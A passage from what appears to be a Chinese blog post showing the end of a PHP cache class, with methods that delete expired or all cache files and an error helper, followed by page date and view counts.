$cacheTime=$this->cacheTime; foreach ($files as $val){ if ( $cacheTime!=0 && filemtime($this->cacheDir."/".$val) < time()){ $ret=@unlink($this->cacheDir."/".$val); } } return $ret; } //清除所有缓存文件 public function clear_all(){ $ret= true; if($this->cachetype==0) { return $ret; }elseif($this->cachetype==1){ if(!is_writable($this->cacheDir)){return false;} $files = scandir($this->cacheDir); foreach ($files as $val){ @unlink($this->cacheDir."/".$val); } }elseif($this->cachetype==2){ $ret=$this->cache->flushAll(); } return $ret; } private function error($line,$msg){ die("出错文件:".__file__."/n出错行:$line/n错误信息:$msg"); } }
2023年03月25日
21 阅读
0 评论
1 点赞
1
...
5
6
7
...
17